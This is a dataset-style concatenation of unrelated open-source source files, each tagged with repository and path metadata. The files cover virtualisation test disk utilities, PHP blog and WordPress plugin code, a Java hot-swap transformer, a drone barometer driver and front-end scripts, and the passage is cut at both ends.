virtio storage drivers, win2008 style. Win2008, Vista and 7 require people to point out the path to the drivers on the unattended file, so we just need to copy the drivers to the extra cdrom disk. Important to note that it's possible to specify drivers from a CDROM, so the floppy driver copy is optional. Process: 1) Copy the virtio drivers on the virtio floppy to the install cdrom, if there is one available """ if os.path.isfile(virtio_floppy): self._copy_virtio_drivers(virtio_floppy, cdrom_virtio) else: logging.debug( "No virtio floppy present, not needed for this OS anyway") @error_context.context_aware def close(self): error_context.context( "Creating unattended install CD image %s" % self.path) g_cmd = ('mkisofs -o %s -max-iso9660-filenames ' '-relaxed-filenames -D --input-charset iso8859-1 ' '%s' % (self.path, self.mount)) process.run(g_cmd, verbose=DEBUG) os.chmod(self.path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH) cleanup(self.mount) logging.debug("unattended install CD image %s successfully created", self.path) class CdromInstallDisk(Disk): """ Represents a install CDROM disk that we can master according to our needs. """ def __init__(self, path, tmpdir, source_cdrom, extra_params): self.mount = tempfile.mkdtemp(prefix='cdrom_unattended_', dir=tmpdir) self.path = path self.extra_params = extra_params self.source_cdrom = source_cdrom cleanup(path) if not os.path.isdir(os.path.dirname(path)): os.makedirs(os.path.dirname(path)) cp_cmd = ('cp -r %s/isolinux/ %s/' % (source_cdrom, self.mount)) listdir = os.listdir(self.source_cdrom) for i in listdir: if i == 'isolinux': continue os.symlink(os.path.join(self.source_cdrom, i), os.path.join(self.mount, i)) process.run(cp_cmd) def get_answer_file_path(self, filename): return os.path.join(self.mount, 'isolinux', filename) @error_context.context_aware def close(self): error_context.context( "Creating unattended install CD image %s" % self.path) if os.path.exists(os.path.join(self.mount, 'isolinux')): # bootable cdrom f = open(os.path.join(self.mount, 'isolinux', 'isolinux.cfg'), 'w') f.write('default /isolinux/vmlinuz append initrd=/isolinux/' 'initrd.img %s\n' % self.extra_params) f.close() boot = '-b isolinux/isolinux.bin' else: # Not a bootable CDROM, using -kernel instead (eg.: arm64) boot = '' m_cmd = ('mkisofs -o %s %s -c isolinux/boot.cat -no-emul-boot ' '-boot-load-size 4 -boot-info-table -f -R -J -V -T %s' % (self.path, boot, self.mount)) process.run(m_cmd) os.chmod(self.path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH) cleanup(self.mount) cleanup(self.source_cdrom) logging.debug("unattended install CD image %s successfully created", self.path) class GuestFSModiDisk(object): """ class of guest disk using guestfs lib to do some operation(like read/write) on guest disk: """ def __init__(self, disk, backend='direct'): """ :params disk: target disk image. :params backend: let libguestfs creates/connects to backend daemon by starting qemu directly, or using libvirt to manage an appliance, running User-Mode Linux, or connecting to an already running daemon. 'direct', 'appliance', 'libvirt', 'libvirt:null', 'libvirt:URI', 'uml', 'unix:path'. """ try: import guestfs except ImportError: install_cmd = "yum -y install python-libguestfs" try: process.run(install_cmd) import guestfs except Exception: raise exceptions.TestSkipError('We need python-libguestfs (or ' 'the equivalent for your ' 'distro) for this particular ' 'feature (modifying guest ' 'files with libguestfs)') self.g = guestfs.GuestFS() self.disk = disk self.g.add_drive(disk) self.g.set_backend(backend) libvirtd = SpecificServiceManager("libvirtd") libvirtd_status = libvirtd.status() if libvirtd_status is None: raise exceptions.TestError('libvirtd: service not found') if (not libvirtd_status) and (not libvirtd.start()): raise exceptions.TestError('libvirtd: failed to start') logging.debug("Launch the disk %s, wait..." % self.disk) self.g.launch() def os_inspects(self): self.roots = self.g.inspect_os() if self.roots: return self.roots else: return None def mounts(self): return self.g.mounts() def mount_all(self): def compare(a, b): if len(a[0]) > len(b[0]): return 1 elif len(a[0]) == len(b[0]): return 0 else: return -1 roots = self.os_inspects() if roots: for root in roots: mps = self.g.inspect_get_mountpoints(root) mps.sort(compare) for mp_dev in mps: try: msg = "Mount dev '%s' partitions '%s' to '%s'" logging.info(msg % (root, mp_dev[1], mp_dev[0])) self.g.mount(mp_dev[1], mp_dev[0]) except RuntimeError as err_msg: logging.info("%s (ignored)" % err_msg) else: raise exceptions.TestError( "inspect_vm: no operating systems found") def umount_all(self): logging.debug("Umount all device partitions") if self.mounts(): self.g.umount_all() def read_file(self, file_name): """ read file from the guest disk, return the content of the file :param file_name: the file you want to read. """ try: self.mount_all() o = self.g.cat(file_name) if o: return o else: err_msg = "Can't read file '%s', check is it exist?" raise exceptions.TestError(err_msg % file_name) finally: self.umount_all() def write_to_image_file(self, file_name, content, w_append=False): """ Write content to the file on the guest disk. When using this method all the original content will be overriding. if you don't hope your original data be override set ``w_append=True``. :param file_name: the file you want to write :param content: the content you want to write. :param w_append: append the content or override """ try: try: self.mount_all() if w_append: self.g.write_append(file_name, content) else: self.g.write(file_name, content) except Exception: raise exceptions.TestError("write '%s' to file '%s' error!" % (content, file_name)) finally: self.umount_all() def replace_image_file_content(self, file_name, find_con, rep_con): """ replace file content matches in the file with rep_con. support using Regular expression :param file_name: the file you want to replace :param find_con: the original content you want to replace. :param rep_con: the replace content you want. """ try: self.mount_all() file_content = self.g.cat(file_name) if file_content: file_content_after_replace = re.sub(find_con, rep_con, file_content) if file_content != file_content_after_replace: self.g.write(file_name, file_content_after_replace) else: err_msg = "Can't read file '%s', check is it exist?" raise exceptions.TestError(err_msg % file_name) finally: self.umount_all() def close(self): """ Explicitly close the guestfs handle. """ if self.g: self.g.close()
lmr/avocado-vt
virttest/utils_disk.py
Python
gpl-2.0
21,332
<?php namespace LnBlog\Ui; use Page; class VendorPackages { private $available_packages = []; private $requested_packages = []; public function __construct(bool $useCdn = false) { $this->initializepackages($useCdn); } # Method: addPackage # Adds a given third-party package to the page. # # Parameters: # - name public function addPackage(string $name) { if (!isset($this->available_packages[$name])) { throw new \RuntimeException("Unknown package $name"); } $package = $this->available_packages[$name]; if (!isset($this->requested_packages[$name])) { foreach ($package->dependencies() as $dep) { $this->addPackage($dep); } $this->requested_packages[$name] = $package; } } # Method: addSelectedPackagesToPage public function addSelectedPackagesToPage(Page $page) { // TODO: This is a dity hack - fix it! $scripts = $page->scripts; $stylesheets = $page->stylesheets; $page->scripts = []; $page->stylesheets = []; foreach ($this->requested_packages as $package) { $this->addFilesToPage($package, $page); } $page->scripts = array_merge($page->scripts, $scripts); $page->stylesheets = array_merge($page->stylesheets, $stylesheets); } private function initializepackages(bool $use_cdn) { $jquery_url = $use_cdn ? '//code.jquery.com/jquery-1.11.3.min.js' : 'jquery.min.js'; $jquery_ui_url = $use_cdn ? '//code.jquery.com/ui/1.11.4/jquery-ui.min.js' : 'jquery-ui.min.js'; $tiny_mce_url = $use_cdn ? '//cdn.tinymce.com/4/tinymce.min.js' : 'tinymce.min.js'; $theme = defined('JQUERYUI_THEME') ? JQUERYUI_THEME : DEFAULT_JQUERYUI_THEME; $jquery_stylesheets = $use_cdn ? ["//code.jquery.com/ui/1.11.4/themes/$theme/jquery-ui.css"] : ['jquery-ui.min.css', 'jquery-ui.structure.min.css', 'jquery-ui.theme.min.css']; $packages = [ new ClientPackage('jquery', [$jquery_url], [], []), new ClientPackage('jquery-form', ['jquery.form.js'], [], ['jquery']), new ClientPackage( 'jquery-datetime-picker', ['jquery.datetime.picker.js'], ['jquery.datetime.picker.css'], ['jquery'] ), new ClientPackage('dropzone', ['dropzone.js'], ['dropzone.css'], ['jquery']), new ClientPackage( 'jquery-ui', [$jquery_ui_url], $jquery_stylesheets, ['jquery'] ), new ClientPackage('tag-it', ['tag-it.js'], ['jquery.tagit.css'], ['jquery-ui']), new ClientPackage('tinymce', [$tiny_mce_url], [], []), ]; foreach ($packages as $package) { $this->available_packages[$package->name()] = $package; } } private function addFilesToPage(ClientPackage $package, Page $page) { foreach ($package->jsFiles() as $file) { if (strpos($file, '//') === false) { $page->addScript($file); } else { $page->addExternalScript($file); } } foreach ($package->cssFiles() as $file) { if (strpos($file, '//') === false) { $page->addStylesheet($file); } else { $page->addExternalStylesheet($file); } } } }
pageer/lnblog
lib/Ui/VendorPackages.php
PHP
gpl-2.0
3,532
<?php namespace IDCT\Framework\Chipmunk\Definitions\Types; use IDCT\Framework\Chipmunk\Definitions\Types\DatabaseObject as DatabaseObject; /** * Page short summary. * * Page description. * * @version 1.0 * @author Bartosz */ class Menu extends DatabaseObject { }
ideaconnect/chipmunk-mfw
definitions/types/Menu.php
PHP
gpl-2.0
272
package org.hotswap.agent.plugin.cxf.jaxrs; import org.hotswap.agent.annotation.OnClassLoadEvent; import org.hotswap.agent.javassist.CannotCompileException; import org.hotswap.agent.javassist.ClassPool; import org.hotswap.agent.javassist.CtClass; import org.hotswap.agent.javassist.CtConstructor; import org.hotswap.agent.javassist.CtMethod; import org.hotswap.agent.javassist.CtNewConstructor; import org.hotswap.agent.javassist.NotFoundException; import org.hotswap.agent.logging.AgentLogger; import org.hotswap.agent.util.PluginManagerInvoker; /** * The Class CxfJAXRSTransformer. */ public class CxfJAXRSTransformer { private static AgentLogger LOGGER = AgentLogger.getLogger(CxfJAXRSTransformer.class); @OnClassLoadEvent(classNameRegexp = "org.apache.cxf.jaxrs.utils.ResourceUtils") public static void patchResourceUtils(CtClass ctClass, ClassPool classPool){ try{ CtMethod createCriMethods[] = ctClass.getDeclaredMethods("createClassResourceInfo"); for (CtMethod method: createCriMethods) { if (method.getParameterTypes()[0].getName().equals(Class.class.getName())) { method.insertAfter( "if($_ != null && !$_.getClass().getName().contains(\"$$\") ) { " + "ClassLoader $$cl = java.lang.Thread.currentThread().getContextClassLoader();" + "if ($$cl==null) $$cl = $1.getClassLoader();" + PluginManagerInvoker.buildInitializePlugin(CxfJAXRSPlugin.class, "$$cl") + "try {" + org.hotswap.agent.javassist.runtime.Desc.class.getName() + ".setUseContextClassLoaderLocally();" + "$_ = " + ClassResourceInfoProxyHelper.class.getName() + ".createProxy($_, $sig, $args);" + "} finally {"+ org.hotswap.agent.javassist.runtime.Desc.class.getName() + ".resetUseContextClassLoaderLocally();" + "}" + "if ($_.getClass().getName().contains(\"$$\")) {" + PluginManagerInvoker.buildCallPluginMethod("$$cl", CxfJAXRSPlugin.class, "registerClassResourceInfo", "$_.getServiceClass()", "java.lang.Class", "$_", "java.lang.Object") + "}" + "}" + "return $_;" ); } } } catch(NotFoundException | CannotCompileException e){ LOGGER.error("Error patching ResourceUtils", e); } } @OnClassLoadEvent(classNameRegexp = "org.apache.cxf.jaxrs.model.ClassResourceInfo") public static void patchClassResourceInfo(CtClass ctClass, ClassPool classPool) { try { // Add default constructor used in proxy creation CtConstructor c = CtNewConstructor.make("public " + ctClass.getSimpleName() + "() { super(null); }", ctClass); ctClass.addConstructor(c); } catch (CannotCompileException e) { LOGGER.error("Error patching ClassResourceInfo", e); } } @OnClassLoadEvent(classNameRegexp = "org.apache.cxf.cdi.JAXRSCdiResourceExtension") public static void patchCxfJARSCdiExtension(CtClass ctClass, ClassPool classPool){ try{ CtMethod loadMethod = ctClass.getDeclaredMethod("load"); loadMethod.insertAfter( "{ " + "ClassLoader $$cl = java.lang.Thread.currentThread().getContextClassLoader();" + "if ($$cl==null) $$cl = this.bus.getClass().getClassLoader();" + "Object $$plugin =" + PluginManagerInvoker.buildInitializePlugin(CxfJAXRSPlugin.class, "$$cl") + HaCdiExtraCxfContext.class.getName() + ".registerExtraContext($$plugin);" + "}" ); } catch(NotFoundException | CannotCompileException e){ LOGGER.error("Error patching ResourceUtils", e); } } @OnClassLoadEvent(classNameRegexp = "org.apache.cxf.jaxrs.spring.SpringResourceFactory") public static void patchSpringResourceFactory(CtClass ctClass, ClassPool classPool){ try{ CtMethod loadMethod = ctClass.getDeclaredMethod("getInstance"); loadMethod.insertBefore( "{ " + "if(isSingleton() && this.singletonInstance==null){ " + "try{" + "this.singletonInstance=ac.getBean(beanId);" + "}catch (Exception ex) {}" + "}" + "}" ); ctClass.addMethod(CtMethod.make( "public void clearSingletonInstance() { this.singletonInstance=null; }", ctClass)); } catch(NotFoundException | CannotCompileException e){ LOGGER.error("Error patching ResourceUtils", e); } } @OnClassLoadEvent(classNameRegexp = "org.apache.cxf.jaxrs.provider.AbstractJAXBProvider") public static void patchAbstractJAXBProvider(CtClass ctClass, ClassPool classPool){ try{ CtMethod loadMethod = ctClass.getDeclaredMethod("init"); loadMethod.insertAfter( "{ " + "ClassLoader $$cl = java.lang.Thread.currentThread().getContextClassLoader();" + "if ($$cl==null) $$cl = getClass().getClassLoader();" + PluginManagerInvoker.buildInitializePlugin(CxfJAXRSPlugin.class, "$$cl") + PluginManagerInvoker.buildCallPluginMethod("$$cl", CxfJAXRSPlugin.class, "registerJAXBProvider", "this", "java.lang.Object") + "}" ); } catch(NotFoundException | CannotCompileException e){ LOGGER.error("Error patching ResourceUtils", e); } } }
HotswapProjects/HotswapAgent
plugin/hotswap-agent-cxf-plugin/src/main/java/org/hotswap/agent/plugin/cxf/jaxrs/CxfJAXRSTransformer.java
Java
gpl-2.0
5,921
/** * Measurement Specialties (Intersema) MS5611-01BA pressure/temperature sensor interface for I2C * * Edit by: Michal Podhradsky, michal.podhradsky@aggiemail.usu.edu * Utah State University, http://aggieair.usu.edu/ */ #include "subsystems/sensors/baro.h" #include "baro_board.h" #include "peripherals/ms5611.h" #include "led.h" #include "std.h" #include "mcu_periph/sys_time.h" #include "mcu_periph/spi.h" #ifndef MS5611_SPI_DEV #define MS5611_SPI_DEV spi2 #endif #define MS5611_BUFFER_LENGTH 4 #ifdef DEBUG #ifndef DOWNLINK_DEVICE #define DOWNLINK_DEVICE DOWNLINK_AP_DEVICE #endif #include "mcu_periph/uart.h" #include "messages.h" #include "subsystems/datalink/downlink.h" #endif struct Baro baro; struct spi_transaction ms5611_trans; uint8_t ms5611_status; int32_t prom_cnt; uint16_t ms5611_c[PROM_NB]; uint32_t ms5611_d1, ms5611_d2; float fbaroms, ftempms; volatile uint8_t input_buf_ms5611[MS5611_BUFFER_LENGTH]; volatile uint8_t output_buf_ms5611[MS5611_BUFFER_LENGTH]; static void trans_cb_ms5611( struct spi_transaction *trans ); static int8_t baro_ms5611_crc(uint16_t* prom) { int32_t i, j; uint32_t res = 0; uint8_t crc = prom[7] & 0xF; prom[7] &= 0xFF00; for (i = 0; i < 16; i++) { if (i & 1) res ^= ((prom[i>>1]) & 0x00FF); else res ^= (prom[i>>1]>>8); for (j = 8; j > 0; j--) { if (res & 0x8000) res ^= 0x1800; res <<= 1; } } prom[7] |= crc; if (crc == ((res >> 12) & 0xF)) return 0; else return -1; } static void trans_cb_ms5611( struct spi_transaction *trans ) { #ifdef ROTORCRAFT_BARO_LED RunOnceEvery(10,LED_TOGGLE(ROTORCRAFT_BARO_LED)); #endif } void baro_init(void) { ms5611_trans.select = SPISelectUnselect; ms5611_trans.cpol = SPICpolIdleHigh; ms5611_trans.cpha = SPICphaEdge2; ms5611_trans.dss = SPIDss8bit; ms5611_trans.bitorder = SPIMSBFirst; ms5611_trans.cdiv = SPIDiv64; ms5611_trans.slave_idx = MS5611_SLAVE_DEV; ms5611_trans.output_length = MS5611_BUFFER_LENGTH; ms5611_trans.input_length = MS5611_BUFFER_LENGTH; ms5611_trans.after_cb = trans_cb_ms5611; ms5611_trans.input_buf = &input_buf_ms5611[0]; ms5611_trans.output_buf = &input_buf_ms5611[0]; ms5611_status = MS5611_UNINIT; baro.status = BS_UNINITIALIZED; prom_cnt = 0; } void baro_periodic(void) { if (cpu_time_sec > 1) { if (ms5611_status == MS5611_IDLE) { /* start D1 conversion */ ms5611_status = MS5611_CONV_D1; ms5611_trans.output_buf[0] = MS5611_START_CONV_D1; spi_submit(&(MS5611_SPI_DEV), &ms5611_trans); #ifdef DEBUG RunOnceEvery(300, { DOWNLINK_SEND_MS5611_COEFF(DefaultChannel, DefaultDevice, &ms5611_c[0], &ms5611_c[1], &ms5611_c[2], &ms5611_c[3], &ms5611_c[4], &ms5611_c[5], &ms5611_c[6], &ms5611_c[7]);}); #endif } else if (ms5611_status == MS5611_CONV_D1) { /* assume D1 conversion is done */ ms5611_status = MS5611_CONV_D1_OK; } else if (ms5611_status == MS5611_CONV_D1_OK) { /* read D1 adc */ ms5611_status = MS5611_ADC_D1; ms5611_trans.output_buf[0] = MS5611_ADC_READ; spi_submit(&(MS5611_SPI_DEV), &ms5611_trans); } else if (ms5611_status == MS5611_CONV_D2) { /* assume D2 conversion is done */ ms5611_status = MS5611_CONV_D2_OK; } else if (ms5611_status == MS5611_CONV_D2_OK) { /* read D2 adc */ ms5611_status = MS5611_ADC_D2; ms5611_trans.output_buf[0] = MS5611_ADC_READ; spi_submit(&(MS5611_SPI_DEV), &ms5611_trans); } else if (ms5611_status == MS5611_UNINIT) { /* reset sensor */ ms5611_status = MS5611_RESET; ms5611_trans.output_buf[0] = MS5611_SOFT_RESET; spi_submit(&(MS5611_SPI_DEV), &ms5611_trans); } else if (ms5611_status == MS5611_RESET_OK) { /* start getting prom data */ ms5611_status = MS5611_PROM; ms5611_trans.output_buf[0] = MS5611_PROM_READ | (prom_cnt << 1); spi_submit(&(MS5611_SPI_DEV), &ms5611_trans); } } } void baro_event(void (*b_abs_handler)(void), void (*b_diff_handler)(void)){ if (ms5611_trans.status == SPITransSuccess) { switch (ms5611_status) { case MS5611_RESET: ms5611_status = MS5611_RESET_OK; ms5611_trans.status = SPITransDone; break; case MS5611_PROM: /* read prom data */ ms5611_c[prom_cnt++] = (ms5611_trans.input_buf[1] << 8) | ms5611_trans.input_buf[2]; if (prom_cnt < PROM_NB) {//8 bytes at PROM /* get next prom data */ ms5611_trans.output_buf[0] = MS5611_PROM_READ | (prom_cnt << 1); spi_submit(&(MS5611_SPI_DEV), &ms5611_trans); } else { /* done reading prom */ ms5611_trans.status = SPITransDone; /* check prom crc */ if (baro_ms5611_crc(ms5611_c) == 0) { ms5611_status = MS5611_IDLE; baro.status = BS_RUNNING; } else { /* checksum error, try again */ baro_init(); } } break; case MS5611_ADC_D1: /* read D1 (pressure) */ ms5611_d1 = (ms5611_trans.input_buf[1] << 16) | (ms5611_trans.input_buf[2] << 8) | ms5611_trans.input_buf[3]; /* start D2 conversion */ ms5611_status = MS5611_CONV_D2; ms5611_trans.output_buf[0] = MS5611_START_CONV_D2; spi_submit(&(MS5611_SPI_DEV), &ms5611_trans); break; case MS5611_ADC_D2: { int64_t dt, baroms, tempms, off, sens, t2, off2, sens2; /* read D2 (temperature) */ ms5611_d2 = (ms5611_trans.input_buf[1] << 16) | (ms5611_trans.input_buf[2] << 8) | ms5611_trans.input_buf[3]; ms5611_status = MS5611_IDLE; ms5611_trans.status = SPITransDone; /* difference between actual and ref temperature */ dt = ms5611_d2 - (int64_t)ms5611_c[5] * (1<<8); /* actual temperature */ tempms = 2000 + ((int64_t)dt * ms5611_c[6]) / (1<<23); /* offset at actual temperature */ off = ((int64_t)ms5611_c[2] * (1<<16)) + ((int64_t)ms5611_c[4] * dt) / (1<<7); /* sensitivity at actual temperature */ sens = ((int64_t)ms5611_c[1] * (1<<15)) + ((int64_t)ms5611_c[3] * dt) / (1<<8); /* second order temperature compensation */ if (tempms < 2000) { t2 = (dt*dt) / (1<<31); off2 = 5 * ((int64_t)(tempms-2000)*(tempms-2000)) / (1<<1); sens2 = 5 * ((int64_t)(tempms-2000)*(tempms-2000)) / (1<<2); if (tempms < -1500) { off2 = off2 + 7 * (int64_t)(tempms+1500)*(tempms+1500); sens2 = sens2 + 11 * ((int64_t)(tempms+1500)*(tempms+1500)) / (1<<1); } tempms = tempms - t2; off = off - off2; sens = sens - sens2; } /* temperature compensated pressure */ baroms = (((int64_t)ms5611_d1 * sens) / (1<<21) - off) / (1<<15); /* Update baro structure */ baro.absolute = (int32_t)baroms; b_abs_handler(); b_diff_handler(); #ifdef DEBUG ftempms = tempms / 100.; fbaroms = baroms / 100.; DOWNLINK_SEND_BARO_MS5611(DefaultChannel, DefaultDevice, &ms5611_d1, &ms5611_d2, &fbaroms, &ftempms, &baro.status); #endif break; } default: ms5611_trans.status = SPITransDone; break; } } }
softsr/paparazzi
sw/airborne/boards/lisa_m/baro_board_spi.c
C
gpl-2.0
7,294
<?php /* Plugin Name: Social Media Widget by Acurax Plugin URI: http://www.acurax.com/products/floating-social-media-icon-plugin-wordpress/ Description: A Simple Wordpress Plugin Which Allow You To Add Widget Which Links Social Media Icons to Your Social Media Profiles Twitter,Facebook,Pinterest,Youtube,Rss Feed,Linkedin,google plus. You can define icon style size for each widget. Author: Acurax Version: 2.2 Author URI: http://www.acurax.com License: GPLv2 or later */ /* Copyright 2008-current Acurax International ( website : www.acurax.com ) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ define('ACX_SOCIALMEDIA_WIDGET_TOTAL_THEMES', 24); ?> <?php //*************** Include JS in Header ******** function enqueue_acx_social_widget_icon_script() { wp_enqueue_script ( 'jquery' ); } add_action( 'get_header', 'enqueue_acx_social_widget_icon_script' ); //*************** Include JS in Header Ends Here ******** //*********** Include Additional Menu ******************** function Acurax_Widget_Links($links, $file) { $plugin = plugin_basename(__FILE__); // create link $acx_installation_domain = $_SERVER['HTTP_HOST']; $acx_installation_domain = str_replace("www.","",$acx_installation_domain); $acx_installation_domain = str_replace(".","_",$acx_installation_domain); if($acx_installation_domain == "") { $acx_installation_domain = "not_defined";} if ($file == $plugin) { return array_merge( $links, array( '<div id="plugin_page_links"><a href="http://www.acurax.com?utm_source=wp&utm_medium=link&utm_campaign=plugin-page&ref=' . $acx_installation_domain . '" target="_blank">' . __('Acurax International') . '</a>', '<a href="https://twitter.com/#!/acuraxdotcom" target="_blank">' . __('Acurax on Twitter') . '</a>', '<a href="http://www.facebook.com/AcuraxInternational" target="_blank">' . __('Acurax on Facebook') . '</a>', '<a href="http://www.acurax.com/services/wordpress-designing-experts.php?utm_source=wp&utm_medium=link&utm_campaign=plugin-page&ref=' . $acx_installation_domain . '" target="_blank">' . __('Wordpress Expert Support') . '</a>' )); } return $links; } add_filter('plugin_row_meta', 'Acurax_Widget_Links', 10, 2 ); //********************************************************* include('function.php'); //*************** Admin function *************** function acx_social_widget_icon_admin() { include('social-icon.php'); } function acx_social_widget_icon_help() { include('social-help.php'); } function acx_social_widget_icon_premium() { include('premium.php'); } function acx_social_widget_troubleshoot() { include('troubleshoot.php'); } function acx_social_widget_icon_misc() { include('smw-misc.php'); } $acx_si_smw_hide_expert_support_menu = get_option('acx_si_smw_hide_expert_support_menu'); if ($acx_si_smw_hide_expert_support_menu == "") { $acx_si_smw_hide_expert_support_menu = "no"; } function acx_social_widget_icon_admin_actions() { global $acx_si_smw_hide_expert_support_menu; add_menu_page( 'Acurax Social Media Widget Configuration', 'Social Media Widget Settings', 8, 'Acurax-Social-Widget-Settings','acx_social_widget_icon_admin',plugin_dir_url( __FILE__ ).'/images/acurax_international.png' ); // 8 for admin add_submenu_page('Acurax-Social-Widget-Settings', 'Acurax Social Icon Premium', 'Premium', 8, 'Acurax-Social-Widget-Premium' ,'acx_social_widget_icon_premium'); add_submenu_page('Acurax-Social-Widget-Settings', 'Acurax Social Icon Misc Settings', 'Misc', 8, 'Acurax-Social-Widget-Misc' ,'acx_social_widget_icon_misc'); add_submenu_page('Acurax-Social-Widget-Settings', 'Acurax Troubleshooter', 'Troubleshoot', 8, 'Acurax-Social-Widget-Troubleshooter' ,'acx_social_widget_troubleshoot'); if($acx_si_smw_hide_expert_support_menu == "no") { add_submenu_page('Acurax-Social-Widget-Settings', 'Acurax Expert Support', 'Expert Support', 8, 'Acurax-Social-Widget-Expert-Support' ,'acx_social_widget_troubleshoot'); } add_submenu_page('Acurax-Social-Widget-Settings', 'Acurax Social Widget Help and Support', 'Help', 8, 'Acurax-Social-Widget-Help' ,'acx_social_widget_icon_help'); } if ( is_admin() ) { add_action('admin_menu', 'acx_social_widget_icon_admin_actions'); } // Adding WUM Starts Here function acurax_social_widget_icon_update( $plugin_data, $r ) { // Get Current Plugin Data () Starts Here function current_plugin_info($value) { if ( ! function_exists( 'get_plugins' ) ) require_once( ABSPATH . 'wp-admin/includes/plugin.php' ); $plugin_folder = get_plugins( '/' . plugin_basename( dirname( __FILE__ ) ) ); $plugin_file = basename( ( __FILE__ ) ); return $plugin_folder[$plugin_file][$value]; } // Get Current Plugin Data () Starts Here $curr_ver = current_plugin_info('Version'); define ( 'CURRENT_VERSION', $curr_ver ); $folder = basename( dirname( __FILE__ ) ); // readme contents $data = file_get_contents( 'http://plugins.trac.wordpress.org/browser/'.$folder.'/trunk/readme.txt?format=txt' ); if ($data) { $matches = null; $regexp = '~==\s*Changelog\s*==\s*=\s*[0-9.]+\s*=(.*)(=\s*' . preg_quote ( CURRENT_VERSION ) . '\s*=|$)~Uis'; if ( preg_match ( $regexp, $data, $matches) ) { $changelog = (array) preg_split ( '~[\r\n]+~', trim ( $matches[1] ) ); $ret = '<div style="color: #c00;font-size: small; margin-top:8px;margin-bottom:8px">Acurax Social Media Widget Plugin has been updated. Here is a change list, so you can see what\'s been changed or fixed:</div>'; $ret .= '<div style="font-weight: normal;">'; $ret .= '<p style="margin: 5px 0; font-weight:bold; font-size:small">= Latest Version =</p>'; $ul = false; $first = false; foreach ( $changelog as $index => $line ) { if ( preg_match ( '~^\s*\*\s*~', $line) ) { if ( !$ul ) { $ret .= '<ul style="list-style: disc; margin-left: 20px;">'; $ul = true; $first = true; } $line = preg_replace ( '~^\s*\*\s*~', '', $line ); if ( $first ) { $ret .= '<li style="list-style-type:none;margin-left: -1.5em; font-weight:bold">Release Date:' . $line . '</li>'; $first = false; } else { $ret .= '<li>' . $line . '</li>'; } } else { if ( $ul ) { $ret .= '</ul><div style="clear: left;"></div>'; $ul = false; } $ret .= '<p style="margin: 5px 0; font-weight:bold; font-size:small">' . $line . '</p>'; } } if ( $ul ) { $ret .= '</ul>'; } $ret .= '</div>'; } } echo $ret; } /** * Add update messages that can be attached to the CURRENT release (not * this one), but only for 2.8+ */ global $wp_version; if ( version_compare('2.8', $wp_version, '<=') ) { global $pagenow; if ( 'plugins.php' === $pagenow ) { // Better update message $file = basename( __FILE__ ); $folder = basename( dirname( __FILE__ ) ); $acx_add = "in_plugin_update_message-{$folder}/{$file}"; add_action( $acx_add, 'acurax_social_widget_icon_update', 20, 2 ); } } // Adding WUM Ends Here ?>
rrtigga/blog_search
wp-content/plugins/acurax-social-media-widget/acurax-social-icon.php
PHP
gpl-2.0
7,602
jQuery(document).ready(function($){ /* Click Tab */ $( document.body ).on( 'click', '#fxb-switcher a.nav-tab', function(e){ e.preventDefault(); /* Bail */ if( $( this ).hasClass( 'nav-tab-active' ) ){ return false; } /* Confirm ? */ if( ! $( this ).hasClass( 'switch-confirmed' ) ){ if ( true !== confirm( $( this ).data( 'confirm' ) ) ) { return false; } } /* Add Confirmed Class */ $( this ).addClass( 'switch-confirmed' ); /* Force Switch to Visual Editor */ $.fn.fxB_switchEditor( "fxb_editor" ); var this_data = $( this ).data( 'fxb-switcher' ); /* Clicking "Editor" */ if( 'editor' == this_data ){ $( 'html' ).removeClass( 'fx_builder_active' ); $( 'input[name="_fxb_active"]' ).val( '' ); $( this ).addClass( 'nav-tab-active' ); $( this ).siblings( '.nav-tab' ).removeClass( 'nav-tab-active' ); } else if( 'builder' == this_data ){ $( 'html' ).addClass( 'fx_builder_active' ); $( 'input[name="_fxb_active"]' ).val( '1' ); $( this ).addClass( 'nav-tab-active' ); $( this ).siblings( '.nav-tab' ).removeClass( 'nav-tab-active' ); } }); });
turtlepod/fx-builder
includes/builder/assets/switcher.js
JavaScript
gpl-2.0
1,125
<?php $property_type = get_the_terms( $post->ID, 'property-type' ); $property_status = get_the_terms( $post->ID, 'property-status' ); $property_location = get_the_terms( $post->ID, 'property-location' ); $property_featured = get_post_meta( $post->ID, 'estate_property_featured', true ); $property_status_update = get_post_meta( $post->ID, 'estate_property_status_update', true ); $google_maps = get_post_meta( $post->ID, 'estate_property_google_maps', true ); if ( isset( $google_maps['address'] ) ) { $address = $google_maps['address']; } $size = get_post_meta( $post->ID, 'estate_property_size', true ); $size_unit = get_post_meta( $post->ID, 'estate_property_size_unit', true ); $rooms = get_post_meta( $post->ID, 'estate_property_rooms', true ); $bedrooms = get_post_meta( $post->ID, 'estate_property_bedrooms', true ); $bathrooms = get_post_meta( $post->ID, 'estate_property_bathrooms', true ); ?> <div class="property-item primary-tooltips<?php if ( $property_featured ) echo ' featured'; ?>"> <a href="<?php the_permalink(); ?>"> <figure class="property-thumbnail"> <?php global $realty_theme_option; $columns = $realty_theme_option['property-listing-columns']; // Use A Different Thumbnail Dimension For 4 Column Grid if ( $columns == "col-lg-3 col-md-6" ) { if ( has_post_thumbnail() ) { the_post_thumbnail( 'thumbnail-400-300' ); } else { echo '<img src ="//placehold.it/400x300/eee/ccc/&text=.." />'; } } // Default Property Thumbnail Dimension else { if ( has_post_thumbnail() ) { the_post_thumbnail( 'property-thumb' ); } else { echo '<img src ="//placehold.it/600x300/eee/ccc/&text=.." />'; } } ?> <figcaption> <div class="property-title"> <h3 class="title"><?php the_title(); ?></h3> <h4 class="address"><?php echo $address; ?></h4> </div> <div class="property-excerpt"> <?php if ( $property_type || $property_status || $property_location ) { $property_meta = array(); ?> <div class="subtitle"> <?php if ( $property_type ) { foreach ( $property_type as $type ) { $property_meta[] = '<span class="type">' . $type->name . '</span>'; break; } } if ( $property_status ) { foreach ( $property_status as $status ) { $property_meta[] = '<span class="status">' . $status->name . '</span>'; break; } } /* if ( $property_location ) { foreach ( $property_location as $location ) { $property_meta[] = '<span 